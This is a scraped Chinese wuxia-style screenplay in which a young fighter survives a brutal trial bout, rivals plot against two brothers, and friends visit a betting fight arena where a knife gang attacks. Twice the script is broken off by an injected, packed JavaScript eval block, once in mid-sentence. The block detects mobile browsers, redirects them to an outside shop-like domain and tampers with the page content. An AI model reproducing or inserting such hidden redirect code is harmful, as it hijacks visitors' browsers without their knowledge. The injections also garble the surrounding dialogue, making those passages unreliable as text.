银华:帮帮忙?怎么帮?要我输给他呀?丫头,你觉得这可能吗?我可是恩威堂第一高手,如果输给了一个才入会的新手,回去之后,老大非把我撕碎了不可!再说了,当着那么多人的面,我想作假也不容易呀,要是被风老大发现了,岂不是要害了金鹏? 洛宁:我又没说要你输给他,我的意思是,你只要在五个回合之内,别把他打倒就行了。 银华:我一招就能打倒他! 洛宁:要不我给你弄点儿软筋散吃吃? 银华:(白了她一眼)丫头,你还是给他弄点儿十全大补丹吃吃吧! 1-71 天地会分会,练武场(日,外) 人物:银华、金鹏、风无行、陆平川、弟子若干 银华和金鹏的这一战,吸引了分会所有的人,都前来观战。 上场之前,银华扫了一眼看台,没发现洛宁,心中犯起了嘀咕:“咦,那丫头呢?怎么没来?莫不是在生我的气?”怀着不安,银华走上擂台,金鹏已经在那里等着他了。 金鹏:银华,你虽然对我有恩,但今天的这场仗,我不会让着你。 银华:你让着我?小子,你该跪下来求我才是! 一声锣响,比赛开始。 起初,银华的心里顾念着洛宁,出手尚有些犹豫。 金鹏:(不解)你不是恩威堂第一高手吗?就只有这点儿本事? 银华:小子,别嚣张!我这样做,可不是为了你! 金鹏:这么说,你不打算使出真功夫了?呵呵,那我这回可要捡一个大便宜了! 到了第二回合,金鹏试图激怒银华。 金鹏:有一回,我跟别人打架。 银华:(微微一愣)干嘛说这个? 金鹏:他骂了我一句,被我打得满地找牙。 银华:别说了,我不想听! 金鹏:他骂我是个婊子,为了钱把自己给卖了。 银华:你还打不打了?不打的话,就认输吧! 金鹏:(语气中带着轻蔑)我是为了钱,你又是为了什么? 银华:臭小子!老虎不发威,你当我是病猫呢!(一拳打过去,被金鹏接住) 金鹏:呵呵,看见没?你这个恩威堂第一高手,也不过如此! 接下来,二人互不相让,都使出真功夫。 银华:小子,你的眼睛怎么样? 金鹏:眼睛? 银华:好使吗? 金鹏:当然了! 银华:那么接下来的这一招,你可要看仔细了!哈哈哈! 笑声未落,金鹏已经挨了银华重重的一下。 金鹏:怎……怎么回事? 嘴角上有一些黏糊糊的东西,他伸手一摸,竟是血。 银华:小子,我说过,一招就能打倒你。如果刚才我的手里拿着剑,那么这会儿你早就肠穿肚烂了! 金鹏:可你还没出招…… 银华:没出招的话,你的伤又从何而来? 金鹏:这……这不可能! 银华:甭管你信不信,痛是真的!我是恩威堂的人,恩威堂的人办事,向来有一个规矩。 金鹏:什么规矩? 银华:速战速决! 金鹏:速战速决? 银华:小子,接下来的两个回合,如果你的眼睛跟不上我的拳头,那么你就只有挨打的份了!哈哈哈! 面对着银华,金鹏如同一个盲人,看不见出招,只能硬着头皮乱打一通,每一招每一式都像是打在了自己的身上,一个回合下来,银华毫发无损,他却身受重伤。 金鹏:银华,你……有你的本事,我……也有我的能耐! 银华:什么? 金鹏:命大!哈哈哈……(惨笑) 好不容易挨到了第五回合,金鹏力不能支,却还苦撑着不肯倒下。 台下。 风无行:这孩子……可真够犟啊! 陆平川:要不要叫停? 风无行:(摇摇头)这样的话,他又怎么会甘心?还是让他自己认输吧! 台上。 金鹏:再……再来! 银华:小子,你不要命了吗? 金鹏:我……说过,不会……让着你! 银华:臭小子,找死! 银华一脚扫过去,金鹏跪倒在地,挣扎了半天,又摇摇晃晃地站了起来。 金鹏:看……看见没?我……还没死呢! 银华:你…… 一声锣响,比赛结束。 风无行朝陆平川点点头,陆平川起身来到台前。 陆平川:(对着众人)我宣布,金鹏通过了复选。 听见这话,金鹏方才松了口气,一头栽在了地上。 1-72 刘恩庆家(夜,内) 人物:刘立鸿、刘恩庆、亮子 桌上的饭菜已经凉了,刘恩庆和刘立鸿却还没动筷子。 刘立鸿:妈的!这家伙的身子是铜墙铁壁吗?都已经被打成那样了,居然还能站起来? 刘恩庆:你说他会不会一直在装? 刘立鸿:装? 刘恩庆:当初他们兄弟俩来这里的时候,只说是干苦力的,可如今我看他的身手,倒像是个练家子。 刘立鸿:当初你让我给他们当师父的时候,我就已经发现了。 刘恩庆:他俩来这里,到底想干嘛?总不能只是为了学武吧? 刘立鸿:什么意思?难不成他俩还有别的目的?会是什么? 刘恩庆:我哪儿知道呀!不过就目前的情况看,他俩或许也跟你一样,想进入总会。 刘立鸿:妈的!我就知道这兄弟俩没安好心! 亮子从外面进来,冲着二人打招呼。 亮子:姐夫!刘大哥! 刘恩庆:你怎么才来呀?快坐下!孩儿他娘,给亮子拿双筷子来! 亮子入座后。 亮子:我刚刚路过药房的时候,被沈掌柜给叫住了。 刘恩庆:沈掌柜?他找你有事吗? 亮子:他跟我说,今天下午来了一位姑娘,向他打听莫愁花的事。 刘恩庆:(心头一紧)莫愁花?谁呀? 亮子:他说那姑娘长得跟本地的姑娘不太一样,身上有一股子木兰花香。 刘恩庆:洛姑娘? 刘立鸿:(不安地瞅着刘恩庆)她去打听莫愁花的事,岂不是意味着…… 刘恩庆:先别慌!亮子,沈掌柜怎么说? 亮子:他怕你担心,所以让我来告诉你,他完完全全是按照你的嘱咐去做的。 刘恩庆:(松了口气)噢,那就好! 刘立鸿:什么意思?他到底有没有把咱们供出来? 刘恩庆:放心吧老弟!这位沈掌柜与我相熟,当初我去药房买莫愁花的时候,就跟他交代过了,让他只说是牛力干的。 刘立鸿:嘿嘿,老兄,还是你想得周全! 刘恩庆:可我担心,如果这件事是风堂主让洛姑娘去办的呢? 刘立鸿:你的意思是,他对咱们起了疑心? 刘恩庆:什么咱们?他就算是起了疑心,只要牛力不说、沈掌柜不说,谁敢说是咱们干的? 刘立鸿:牛力那家伙稳妥不?可别说漏了嘴! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007353|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮子:那家伙我了解,只要你多给他点儿好处,他什么都不会说。 刘立鸿:唉,早知道这样,当初还不如堂堂正正地比一场了! 1-73 天地会分会,柴房(夜,内) 人物:余守泰、金鹏、洛宁、银华 金鹏躺在床上昏迷不醒,余守泰心疼得直掉眼泪。 洛宁:银华,你跟他有仇吗?下手这么重,今晚的肉你别吃了! 银华:你今天上哪儿去了?我怎么没见着你? 洛宁:无行大哥不是要给我姐买礼物吗?我去街上帮他挑了几样。 银华:你一个人去的吗? 洛宁:对呀,不行吗? 银华:以后你再出门,记得叫上我,这里又不是凤凰城,若是遇上了坏人怎么办? 洛宁:(冲着银华做了个鬼脸)我现在看你就挺像坏人,哼! 余守泰抹了把眼泪,不安地问洛宁。 余守泰:洛姑娘,你说我家鹏子会不会不中用了? 银华:余大哥,你放心!我打他的时候看准了,没伤到他的命门。不过话说回来,这家伙可真倔,宁可挨打也不肯倒下,我都替他着急! 余守泰:唉,这孩子打小就是这副样子,没辙儿! 1-74 天地会分会,走廊上(夜,外) 人物:洛宁、银华 回客房的路上,洛宁对银华说。 洛宁:银华,明天你把咱们带的药给余大哥送些过去。 银华:赵大夫不是给他开药了吗? 洛宁:我看过他的方子,都是些极便宜的药,要想金鹏好得快,就得用好药。 银华:分会的钱不是你哥在出吗?总不能连药都用不起吧? 洛宁:每个州里都有一个分会,每个分会里都有几百号弟子,我哥一个人要管这么多人的吃喝拉撒睡,他容易吗? 银华:难怪你不肯花他的钱,还要自己出去挣钱,原来是在心疼他呀! 1-75 陆府,陆通的屋子(夜,内) 人物:陆通、顺儿 得知金鹏被银华打成重伤,陆通高兴极了。 陆通:银华,你简直太棒了,不愧是恩威堂第一高手!余守泰呀余守泰,看见你弟弟这副样子,你一定很心疼吧?哈哈哈,真是老天长眼! 顺儿:虽然他弟弟被银公子打成了重伤,可他也通过了复选。 陆通:进入决选的人里面,除了他之外,全都是老弟子。一打二十,他死定了! 顺儿:可我听说,接下来风堂主不打算让他们比武了。 陆通:(吃了一惊)不比武了?那要比什么? 顺儿:之前不是说风堂主去了一趟落霞山吗?最后的决选,将在那里进行。 陆通:在那里进行?干什么?比谁先爬到山顶吗? 顺儿:这个风堂主还没说,要等去了之后才知道。 1-76 天地会分会,柴房(夜,内) 人物:余守泰、金鹏、洛宁、银华 在余守泰的精心照料下,金鹏的伤势渐渐好转。 余守泰:洛姑娘,您给的药可真管用!昨儿前半夜他还一个劲儿地叫疼,吃过您给的药之后,后半夜竟然睡得安稳了。 洛宁:管用就好!金鹏,这阵子你好好地休息,什么也别想。风堂主说了,等你好了之后,再进行决选。 金鹏:这样的话,会不会耽误你们的事? 洛宁:无妨。我和银华正打算趁着这几日的工夫,出去逛逛呢! 银华:出去逛逛?丫头,你可能忘了件事。 洛宁:什么事? 银华:咱俩没钱。 洛宁:哦,好像是啊。唉,看来只能乖乖地待在家里了。 见洛宁露出失望的表情,金鹏扭头问余守泰。 金鹏:哥,你那里有钱吗? 余守泰:我? 银华:余大哥,你别多心!我说没钱,不是想问你借。 余守泰:银公子、洛姑娘,实不相瞒,我们兄弟俩……其实也没钱。 洛宁:也没钱?你俩不是分会的弟子吗?分会不是每个月都在给你们发钱吗? 余守泰:我俩刚来这里的时候,干的是杂役的活儿,刘恩庆说有三个月的试用期,期满之后才能给钱。后来虽然成了分会的弟子,可刘恩庆又说我们没好好练武,把我们的月钱全扣光了。 洛宁:银华,你要是没好好练武的话,顾云飞会怎么罚你? 银华:他会狠狠地揍我,用最难听的词儿骂我,不许吃饭不许睡觉,但绝不会扣我的钱。 余守泰:可能是因为分会的规矩跟总会不太一样吧。 洛宁:别的人呢?是否也这样? 余守泰:老弟子的情况,我不太清楚,不过今年才招收的新弟子,好像也跟我们差不多,就算是有,也没多少。 银华:没多少和没有是两码事儿! 余守泰:这也不能怪分会,我们兄弟俩在这里白吃白住,若再白拿,那就太不像话了! 1-77 天地会分会,风无行居住的客房(日,内) 人物:风无行、洛宁 一大早,洛宁来找风无行。 洛宁:未来姐夫,你说的风景,就是这个吧? 风无行:什么? 洛宁:钱的事。 风无行:钱的事? 洛宁:别装了,快告诉我吧! 风无行示意洛宁坐下,给她倒了杯茶,这才缓缓道来。 风无行:来这里之前,我收到了一封匿名信。 洛宁:天地会里人多事也多,几封匿名信而已,内容有真有假,不算新鲜! 风无行:陆会长每回一见到你哥,就要抱怨钱不够用。 洛宁:所以你就来了? 风无行:再不来的话,你哥就要发火了。 洛宁:你打算怎么查? 风无行:你去药房打听莫愁花的事,怎么样了? 洛宁:掌柜的说辞,跟牛力一样。 风无行:这么说就是他干的? 洛宁:可我觉得他在撒谎。 风无行:何以见得? 洛宁:他生怕我不信,恨不得要对天发誓。过犹不及的道理,你懂的! 风无行:若不是牛力干的,又会是谁? 洛宁:匿名信上怎么说? 风无行:它提到了一个人。 洛宁:是不是刘恩庆? 风无行:你也知道了? 洛宁:那天因为莫愁花的事,他与金鹏针锋相对,尤其是那句话…… 风无行:哪句话? 洛宁:(模仿刘恩庆的口吻)在咱们天地会里,容不下你这样的败类! 风无行:(模仿金鹏的口吻)你才是败类呢! 此话一出,二人心照不宣地笑了。 7. 第一篇 贵客来了 锦州,丰饶城 1-78 陆府,陆通的屋子(夜,内) 人物:陆通、顺儿 陆通的屁股刚好,便迫不及待地要去找兄弟俩算账了。 陆通:此仇不报非君子! 顺儿:(拼了命地拦住)少爷,您不能去! 陆通:你拽着我干嘛?快放手! 顺儿:少爷,他弟弟会功夫,您去了会吃亏! 陆通:他不是被银华打伤了吗? 顺儿:已经好得差不多了。 陆通:那我倒要看看,在天地会的地盘上,他能把我怎样?哼! 顺儿:少爷,这么晚了,咱们还是明天再去吧! 陆通:不行!我等不及要干掉他们了! 顺儿:(往地上扑通一跪)少爷,您就行行好!饶了我吧! 陆通:顺儿,你这是什么意思?难道你还想替那两个混蛋求情? 顺儿:不是啊,少爷!那两个混蛋虽然不敢把您怎么样,可他们威胁说要杀了我! 陆通:岂有此理!连我的人都敢动,简直嚣张到了极点!(取来宝刀塞给顺儿)给!拿着! 顺儿:(吓了一跳)少……少爷,您……您这是干嘛? 陆通:拿着这把刀,去砍了他们! 顺儿:可……可我没杀过人呀! 陆通:有我给你壮胆儿,别怕!走! 1-79 天地会分会,厨房(夜,内) 人物:陆通、顺儿、余守泰、金鹏、洛宁、银华 见厨房里亮着灯,陆通径直上前,一脚踹开门。 陆通:余守泰,你这个狗娘养的!老子今天要…… 话没说完,发现洛宁和银华也在,正吃惊地望着他。 洛宁:陆通哥哥? 陆通:(目瞪口呆)宁……宁妹妹? 银华:呀,原来是陆通!你的屁股,哦,不对,你的病好了呀? 陆通:银……银华?你……你们怎么也在这里? 洛宁:唉,银华不是把金鹏打伤了吗?我们过来看看他好些没。 银华:是啊!这可是我的同门小师弟,不来看看的话,我的心里过意不去呀! 洛宁:陆通哥哥,你来这里干什么呀? 陆通:哦,我……我也是来看他的。 陆通的脸上堆起笑容,语气也变得十分柔和。 银华:你也来看他?(望了望金鹏,又望了望陆通)你俩认识呀? 陆通:我天天吃他哥做的烤肉,怎么会不认识他呢?(上前握住金鹏的手,关切地问)金鹏,怎么样?好些没?听说你受伤了,我担心极了…… 话没说完,又听银华惊讶地叫道。 银华:咦,顺儿,你的手里怎么拿着一把刀啊?(夺过刀一看)呀,陆通,这把刀不是你的吗?你来这里看金鹏,带着一把刀干嘛? 陆通:我…… 银华:噢,我明白了!你是不是见金鹏赤手空拳,所以想把这把刀送给他? 陆通:这…… 银华:这什么这?你要是不好意思说,我来替你说!(把刀硬塞给金鹏)金鹏,拿着!这可是个好东西! 金鹏:银华,还是算了吧!我没使过刀,怕是用不上! 银华:没使过的话,就学着使呗!接下来还有决选,山里头有狼,你把它带在身上,肯定用得上!(回头笑着对陆通)对不对呀陆通? 陆通:(干巴巴地笑着)额,是啊!金鹏,你就别跟我客气了,快收下吧! 银华:啧啧,余大哥,你用一盘烤肉换来了一把宝刀,简直太划算了!哈哈哈! 1-80 天地会分会,厨房(夜,内) 人物:陆通、顺儿、余守泰、金鹏、洛宁、银华 烤肉滋滋冒烟,陆通的眼睛却一直盯着洛宁。 陆通:宁妹妹,你何时有空?我想请你吃顿饭。 银华:你请她吃饭?什么意思?也就是说,你只打算请她、不打算请我了? 陆通:我…… 银华:唉,算我错看了你!宁儿,咱们走! 银华拉起洛宁假装要走,陆通急忙上前拦住他们。 陆通:别呀!银华,我的话还没说完呢!你们两个我都请!还有风堂主,咱们把他也叫上! 银华:他跟咱们有代沟,吃不到一块儿去!不过陆通,你吃了余大哥这么多烤肉,是不是也该回请人家一顿呀? 顺儿:肉是我家少爷出钱买的! 银华:那你让他自己做呀!再不行你来,看能不能做出这个味儿? 陆通:得得得,都请!余守泰、金鹏,你俩也一起来! 余守泰:陆公子,我和我弟弟两个下人,坐在您的屋子里吃饭,怕是不太好吧? 银华:你说什么?他的屋子里?陆通,弄了半天你不是要带我们去丰饶城最豪华的酒楼里吃大餐呀?要是在你的屋子里吃的话,还不如不去了! 顺儿:我家少爷准备了成堆的蜡烛,想请洛姑娘吃一顿浪漫的烛光晚餐! 银华:成堆的蜡烛?这么热的天,要是全点上的话……啧啧,陆通,你是不是肾虚呀? 陆通:(脚踢顺儿)臭小子,别多嘴!银华,他弄错了!不是在我的屋子里,而是在…… 银华:(接过话头)丰饶城最豪华的酒楼里,对不对?嘿嘿,陆通,我就知道你这个朋友没白交,够爽快!哈哈哈! 1-81 酒楼,雅间(日,内) 人物:陆通、顺儿、洛宁、银华、金鹏、余守泰、酒楼伙计 众人已经吃撑了,店小二还在给他们上菜。 洛宁:陆通哥哥,上回在凤凰城,你不是说要带着我遍访锦州的美景吗? 陆通:对呀,我早就有这个想法了!妹妹想去哪儿,我这就带你去!一路上的开销,我全包了,千万别跟我客气! 洛宁:我想看一看在凤凰城里看不到的美景。 陆通:看不到的美景?让我想想……虹彩湖怎么样?那里的湖水清可见底,湖底布满了五颜六色的石头,每块石头上都有各种各样的花纹…… 银华:她住的屋子外面,就有一个湖,她白天看、晚上也看,早就腻了! 陆通:那就……去爬山!拨云山怎么样?那里有咱们锦州境内出了名的奇峰异岭,山上怪石嶙峋、银瀑飞流…… 银华:山与山不都是一样的吗?咱们才去了一趟落霞山,不去了! 陆通:再不行的话,我带你去逛街!妹妹想要什么东西,哥哥买给你! 银华:她想要的东西,她哥都会买给她;她不想要的东西,她哥也会买给她。哪里还轮得到你呀? 陆通:唉,那要去哪儿呢? 顺儿:少爷,我知道一个地方,洛姑娘肯定没去过! 陆通:哦,快说来听听! 顺儿:格斗场! 洛宁:(与银华对望了一眼)格斗场? 顺儿:对呀,这个在凤凰城里肯定没有! 银华:不就是人与人之间比武吗?在咱们天地会的练武场里,天天都能见得到。 顺儿:你们会下注吗? 洛宁:下注? 顺儿:对呀,在格斗场上比武,可是要下注的! 洛宁:如果要下注的话,还是别去了吧。 陆通:怎么了? 洛宁:我怕输。 陆通:输了算我的! 洛宁:若是赢了呢? 陆通:赢了全归你! 洛宁:本钱谁来出? 陆通:(拍拍胸脯)我! 洛宁:(大喜)那还等什么?快走吧! 1-82 格斗场(夜,内) 人物:洛宁、银华、金鹏、余守泰、陆通、顺儿、看客若干、尖刀帮若干 格斗场里,人山人海,空气中弥漫着酒、烟草和汗水的味道。 洛宁:天呐!这里可真热闹! 银华:陆通呀陆通,你早就该带咱们来这里嘛! 陆通:来这种地方的,大多是男人,身上臭烘烘的,我怕妹妹不喜欢。 银华:你是不是也经常来呀? 陆通:我只偶尔跟几个朋友过来玩玩。 银华:花了不少钱吧? 陆通:也没花多少。 银华:赢得多还是输得多? 陆通:这个嘛…… 银华:呵呵,不用说,肯定是输得多了。哈哈哈! 余守泰和金鹏跟在他们的后面。 余守泰:(悄悄地)鹏子,跟紧点儿,别走散了!那些尖刀帮的人,自打咱俩一出门,就一直在后面跟着呢! 金鹏:唉,这些家伙可真烦呀! 格斗场的入口处,挂着一些牌子。 洛宁:这上面是什么? 陆通:是今晚要上场的格斗手的名字。 洛宁:黑金刚、长臂猿……谁会给自己起这样的名字? 陆通:是他们的诨号,不是真名。 洛宁:诨号?那这个黑金刚是不是长得又黑又壮? 银华:长臂猿呢?他的胳膊腿儿是不是真的比别人要长些? 陆通:呵呵,这个我也不清楚。 洛宁:陆通哥哥,你想押哪个? 陆通:我对这些格斗手也不是很了解,不过他们既然把黑金刚写在了第一个,应该还不赖吧。 洛宁:那咱们就押他吧。 陆通:好! 1-83 格斗场(夜,内) 人物:洛宁、银华、金鹏、余守泰、陆通、顺儿、小贩、格斗手若干、看客若干、尖刀帮若干 一行人在前排坐下,过了一会儿,格斗手登场了。 洛宁:呀,这些格斗手为何都戴着面具? 银华:这还用问吗?肯定是长得丑了。 金鹏:不是长得丑,而是为了保护自己。 洛宁:保护自己? 金鹏:输了钱的人,也许会拿他们出气,戴上面具,就没人能认得出他们了。 洛宁:原来是这样。 随着一声锣响,格斗开始。黑金刚果然不负众望,力压群雄,成为全场最受瞩目的格斗手。 洛宁:陆通哥哥,你的眼光可真好,这个黑金刚已经连赢了三场了。 银华:可不是嘛!他刚刚押的十两银子,也变成了三十两银子,赚了不少呢! 陆通:要不咱们见好就收吧? 银华:收什么呀?这才刚开始呢!咱们头一回来这里玩,甭管是赢是输,都得尽兴!更何况,你也不缺钱嘛! 陆通:我是不缺钱,也舍得为妹妹花钱,就是怕这赢的钱若再输了回去,妹妹会不高兴。 银华:输了算你的,不是你自己说的吗? 陆通:我只是不想让妹妹空着手回去。 银华:好说!今晚上场的格斗手,你每个人都押一笔,总有一个能赢。 陆通:我以前也这么试过,最后发现赢的还不够输的。 银华:总好过空着手回去吧? 陆通:那……行吧,我这就去下注。(带着顺儿离开,去了入口处) 洛宁:银华,你是不是又想看陆通输钱呀? 银华:(脸上带着坏笑)他输了钱,对咱们没好处,我巴不得他多赢点儿呢,哈哈! 金鹏:其实,在我看来,那个叫长臂猿的家伙,似乎更有胜算。 银华:怎么可能!那家伙又矮又瘦,一看就知道是个充数的! 金鹏:在格斗场上,如果什么都能让你猜中的话,陆公子就不会输那么多钱了。 洛宁:嗯,有道理。银华,不如咱们用刚刚赢的钱,押这个长臂猿试试? 银华:输了的话,这三十两银子可就没了,你不想吃肉了? 洛宁:富贵险中求嘛!大不了接下来的几天,咱们大家一起吃萝卜白菜!(银华也离开,去了入口处) 尖刀帮的人趁机围了上来,用尖刀抵住洛宁、金鹏和余守泰。 尖刀帮:别说话!跟我们到外面去! 洛宁吓了一跳,见金鹏朝她使了个眼色,便乖乖地跟着他,往外走去。 过来一个小贩,手里端着茶水,金鹏突然夺下他的茶壶,朝尖刀帮的人掷了过去,并趁机将洛宁推开。 金鹏:快去找银华! 洛宁撒腿就跑,金鹏跟尖刀帮的人打了起来。在格斗场里,打架是很常见的事,看客们不仅不见怪,反倒大声叫好。 洛宁找到了银华。 洛宁:银华!快去救金鹏,有人要杀他! 尖刀帮的人数众多,手里都拿着明晃晃的尖刀,金鹏却是旧伤未愈,还要保护不会功夫的余守泰,身上很快便见了血。 就在这时,旁边传来一声怒喝。 银华:混账东西!敢惹天地会?找死! 银华飞身上前,踢掉尖刀,将尖刀帮的人悉数打败。 尖刀帮:大侠饶命!大侠饶命!…… 银华:还不快滚! 尖刀帮的人落荒而逃。 1-84 格斗场(夜,内) 人物:余守泰、金鹏、洛宁、银华、陆通、顺儿 见金鹏的身上有伤,众人便找格斗场上的大夫拿了些药,找了间茶室坐下,由洛宁给他包扎伤口。 银华:怎么样?他没事吧? 洛宁:还好,伤口不深,不会影响接下来的决选。 银华:(问兄弟俩)那些家伙是谁?为何要找你们的麻烦? 余守泰:我们……欠了他们的钱。 银华:可他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007354|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们却想要你们的命,若只是为了讨债,应该不会这样。 余守泰:他们见我们兄弟俩一时半会儿还不起,有些急了。 “不管是谁,有什么困难,都可以找毕先生。”陆通突然想起这句话,不禁笑了起来。 洛宁:陆通哥哥,你在笑什么呀? 陆通:哦,没什么。(格斗场里传来喧哗之声)刚刚咱们下了注,这会儿也该分出胜负了,我过去看看!(带着顺儿离开茶室) 银华:唉,这个家伙,心里只惦记着他的钱! 一会儿,陆通又带着顺儿回来了。 银华:怎么样?谁赢了? 陆通:唉,真是太意外了!那个最不可能赢的家伙,居然赢了! 银华:你说的是不是那个长臂猿? 陆通:对呀,就是他。 洛宁:天呐!银华,咱们赢了?咱们真的赢了! 银华:是啊!金鹏,厉害呀,这都能让你猜中了!宁儿,走!咱们兑钱去!(带着洛宁离开茶室) 余守泰:陆公子,您不也买了那个长臂猿吗?应该也赢了不少吧? 陆通:唉,别提了!我见那家伙太弱了,把别人都买了,就是没买他。 余守泰:啊!那您这回岂不是又输了个精光? 顺儿:我家少爷有的是钱,这点儿银子对他来说,不算什么! 陆通:没错!只要能哄得宁妹妹开心,就算是输,也值了! 1-85 马车车厢(夜,内) 人物:陆通、顺儿、洛宁、银华、金鹏、余守泰 离开了格斗场,余守泰赶车,众人坐在车厢里,返回陆府。 洛宁:(一脸的兴奋)只一晚上的工夫,三十两银子就变成了一百两,格斗场上的钱,果然很好挣呀! 陆通:唉,你的三十两变成了一百两,我的一百两却全打了水漂。 银华:哈哈,谁让你没买那个长臂猿呢!丫头,今儿幸亏有金鹏在,不然的话,你也会跟他一样,两手空空!哈哈! 陆通:不过金鹏,你怎么知道那个长臂猿会赢? 金鹏:我瞎猜的。 陆通:啧啧,你的直觉真是太准了!要不这样,咱俩明天再去一趟…… 金鹏:还要去? 陆通:我要的不多,只要能把我之前输的那些钱,全赢回来,我就知足了! 金鹏:这…… 洛宁:如果再碰上那些家伙怎么办? 银华:是啊,陆通,你一个人能打败他们吗?要不跟你爹说说,让他派几个人去保护你们? 陆通:我爹要是听说我去了格斗场,非剥了我的皮不可。 洛宁:你输了那么多钱,你爹不过问吗? 陆通:这个用不着担心,刘恩庆会替我想办法。 1-86 天地会分会,洛宁居住的客房(日,内) 人物:洛宁、银华 一大早,银华来找洛宁。 银华:昨晚的事,你怎么看? 洛宁:我长这么大,还是头一回被人拿刀指着,真是太爽了! 银华:我头一回跟老大出门办事,也是你这副德行。 洛宁:也有人拿刀指着你吗?是不是也很爽? 银华:差点儿连命都丢了,回去之后,又被老大痛扁了一顿。 洛宁:寒冰说,在你们几个中间,就数你挨的打最多。 银华:哈哈,没错!不过现在,有人要超过我了。 洛宁:谁呀? 银华:金鹏呗!这才几天的工夫,他又挨了一顿打,接下来的决选还不知道会怎样呢! 洛宁:余大哥说的话,你信吗? 银华:我就是因为不信,才会来问你。 洛宁:你打算怎么办?再去把金鹏揍一顿,逼着他说出真相吗? 银华:(摇摇头)老大说了,出门在外,少管闲事! 1-87 刘恩庆家(夜,内) 人物:刘恩庆、刘立鸿 刘恩庆四处查看了一番,确信无人偷听之后,方才回到椅子上坐下。 刘恩庆:(压低声音)我叫你来,是有件事想告诉你。 刘立鸿:什么事? 刘恩庆:刚刚,我得到了一个消息。金鹏那个家伙,来咱们这里,果然是有原因的。 刘立鸿:哦,为了什么? 刘恩庆:他想借天地会弟子的身份,保全自己的身家性命。 刘立鸿:什么意思?他得罪了什么人吗? 刘恩庆:尖刀帮。 刘立鸿:尖刀帮?这么说,他是从格斗场上来的?难怪会功夫!不过既然会功夫,又为何要来这里?格斗场上的钱,不是更好挣吗? 刘恩庆:这小子傻呗!人家让他打假拳,他不肯,还把人家给打了,害得人家人财两空,你说人家能不找他的茬吗? 刘立鸿:呵呵,我一看他的样子,就知道他是个毛驴子。 刘恩庆:尖刀帮已经放出话来,要取他的身家性命。 刘立鸿:你叫我来,应该不止是想告诉我这个吧? 刘恩庆:咱们马上不是要去落霞山吗?如果在山上碰到了尖刀帮,会怎样? 刘立鸿:他要是遭遇了什么不测,可就怨不得咱们了。哈哈哈! 1-88 天地会分会,风无行居住的客房(夜,内) 人物:风无行、洛宁 风无行把洛宁叫来,给了她一把钥匙。 风无行:这个给你。 洛宁:钥匙?哪里的? 风无行:陆会长书房右手边第一个柜子的。 洛宁:里面有什么? 风无行:账本。 洛宁:没有金银珠宝吗?那还是还给你吧! 洛宁把钥匙丢给风无行,风无行又给她丢了回来。 风无行:趁着我们去落霞山的工夫,你去那里查一查他们的底。 洛宁:(拿着钥匙在风无行的眼前晃了晃)陆伯伯那么谨慎的一个人,怎么会把这么重要的东西交给你? 风无行:那天他喝醉了,我顺手拓了个模子下来。 洛宁:啧啧,没想到以善良著称的风堂主,竟然也会干这个? 风无行:(食指放在唇边)嘘!千万别让顾云飞知道了! 洛宁:这要是换成了顾云飞,早就把锁砸烂了。不过风堂主,我又不是你的手下,凭什么替你卖命? 风无行:你不是督察府的人吗? 洛宁:是又怎样? 风无行:督察府不是管天管地什么都管吗? 洛宁:督察府给我发薪水,你也给我发吗? 风无行:唉,连我的薪水还要指望你哥给我发呢! 洛宁:哼,在这一点上,你跟我姐真是天生一对! 8. 第一篇 贵客来了 锦州,丰饶城 风无行、陆平川带着参加决选的弟子,去了落霞山。 1-89 天地会分会,洛宁居住的客房(日,内) 人物:洛宁、陆通、顺儿 听闻洛宁留在府中,陆通便兴冲冲地来找她。 一进门,却见她拿着帕子,哭得很伤心。 陆通:呀,宁妹妹,你怎么哭了? 洛宁:呜呜,陆通哥哥,你总算是来了!我……我……呜呜! 陆通:怎么了?谁惹你了?快告诉哥哥,一定替你出了这个口气! 洛宁:陆通哥哥,我……我害怕!呜呜! 陆通:害怕?怕什么? 洛宁:也不知为何,自打风堂主他们离开之后,我就觉得有点不太对劲儿。 陆通:哪里不对劲儿了? 洛宁:我……我不敢说。呜呜! 陆通:有哥哥给你撑腰,别怕! 洛宁:我……我觉得好像有人在跟踪我。 陆通:岂有此理!谁这么大的胆子! 洛宁:陆通哥哥,你小点儿声!千万别让他听见了! 陆通:宁妹妹,你告诉我,这家伙是谁? 洛宁:我也不知道。起初我还以为是幻觉,直到今天早上,我一觉醒来,竟然看见窗子上…… 陆通:窗子上怎么了? 洛宁:有一道人影!呜呜!(用帕子捂住脸,哭得更伤心了) 陆通:宁妹妹,快别哭了,哥哥看着心疼!你听我说,如果真有这么一个家伙,我一定帮你把他揪出来! 洛宁:怎么帮?你是陆府的少爷,他一看见你,肯定就不敢来了。 陆通:好说!我跟顺儿轮番守在你的屋子外面,这样的话,他想来也没机会。 洛宁:可我总不能一直待在屋里吧! 陆通:嗯,也是。那怎么办呀? 顺儿:少爷,要不这样,我来假扮洛姑娘,您偷偷地尾随着我,看看到底是谁在干坏事。 陆通:咦,这个办法好!宁妹妹,你放心!只要有哥哥在,谁也别想打你的主意!哼! 1-90 天地会分会,走廊上(日,外) 人物:陆通、顺儿、亮子 顺儿穿上裙子,假扮成洛宁,用帕子遮住半边脸,扭动着腰身,迈着小碎步走出屋子。 一会儿,从角落里出来一个人,紧紧地跟着他。 陆通:(大吃一惊)天呐!真的有人! 陆通拔脚追了上去,当那个人转过身时,他一眼认出了他。 